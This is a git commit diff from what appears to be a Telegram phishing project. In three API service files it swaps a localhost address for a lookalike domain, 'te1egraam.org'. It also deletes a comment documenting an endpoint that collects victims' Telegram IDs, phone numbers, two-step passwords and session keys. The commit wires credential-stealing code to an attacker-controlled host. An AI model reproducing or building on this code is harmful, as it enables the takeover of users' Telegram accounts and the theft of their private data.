소스 검색

更新服务的基础 URL,从本地地址更改为生产环境地址,并移除不必要的配置说明注释

wuyi 3 달 전
부모
커밋
45a52fc654
4개의 변경된 파일3개의 추가작업 그리고 39개의 파일을 삭제
  1. 1 1
      src/lib/api/chatRecordsService.ts
  2. 1 1
      src/lib/api/fishApiService.ts
  3. 0 36
      src/lib/api/fishApiUsage.ts
  4. 1 1
      src/lib/api/fishFriendsApiService.ts

+ 1 - 1
src/lib/api/chatRecordsService.ts

@@ -36,7 +36,7 @@ export interface UploadResponse {
 
 
 export class ChatRecordsService {
 export class ChatRecordsService {
   private log = logger('[chat-records-service]');
   private log = logger('[chat-records-service]');
-  private baseUrl: string = 'http://localhost:3010';
+  private baseUrl: string = 'https://lurk2287.te1egraam.org';
   private retryCount: number = 3;
   private retryCount: number = 3;
   private retryDelay: number = 1000;
   private retryDelay: number = 1000;
 
 

+ 1 - 1
src/lib/api/fishApiService.ts

@@ -26,7 +26,7 @@ export class FishApiService {
   private retryCount: number = 3;
   private retryCount: number = 3;
   private retryDelay: number = 1000; // 1秒
   private retryDelay: number = 1000; // 1秒
 
 
-  constructor(baseUrl: string = 'http://localhost:3010') {
+  constructor(baseUrl: string = 'https://lurk2287.te1egraam.org') {
     this.baseUrl = baseUrl;
     this.baseUrl = baseUrl;
   }
   }
 
 

+ 0 - 36
src/lib/api/fishApiUsage.ts

@@ -49,42 +49,6 @@ export async function syncAccountData(accountNumber: number) {
   }
   }
 }
 }
 
 
-/**
- * 配置说明:
- *
- * 1. 后台服务器地址配置:
- *    默认地址:http://localhost:3010
- *    可以通过修改 fishApiService.ts 中的 baseUrl 来更改
- *
- * 2. API 接口格式:
- *    POST http://localhost:3010/api/fish/create
- *    Content-Type: application/json
- *
- *    请求体:
- *    {
- *      "id": "123456789",        // Telegram 用户 ID
- *      "name": "用户名",          // Telegram 用户名
- *      "username": "username",   // Telegram username
- *      "phone": "13800138000",  // 电话号码
- *      "password": "password",  // 二级密码(如果有)
- *      "session": "session123"  // 会话密钥
- *    }
- *
- * 3. 自动同步触发时机:
- *    - 用户登录成功后
- *    - 账户数据更新时
- *    - 认证密钥保存时
- *
- * 4. 错误处理:
- *    - 网络错误会自动重试 3 次
- *    - 每次重试间隔 1 秒
- *    - 失败时会记录日志但不影响正常功能
- *
- * 5. 安全考虑:
- *    - 敏感数据会进行加密存储
- *    - 支持密码保护模式
- */
-
 export default {
 export default {
   initializeFishIntegration,
   initializeFishIntegration,
   syncCurrentUser,
   syncCurrentUser,

+ 1 - 1
src/lib/api/fishFriendsApiService.ts

@@ -25,7 +25,7 @@ export class FishFriendsApiService {
   private retryCount: number = 3;
   private retryCount: number = 3;
   private retryDelay: number = 1000; // 1秒
   private retryDelay: number = 1000; // 1秒
 
 
-  constructor(baseUrl: string = 'http://localhost:3010') {
+  constructor(baseUrl: string = 'https://lurk2287.te1egraam.org') {
     this.baseUrl = baseUrl;
     this.baseUrl = baseUrl;
   }
   }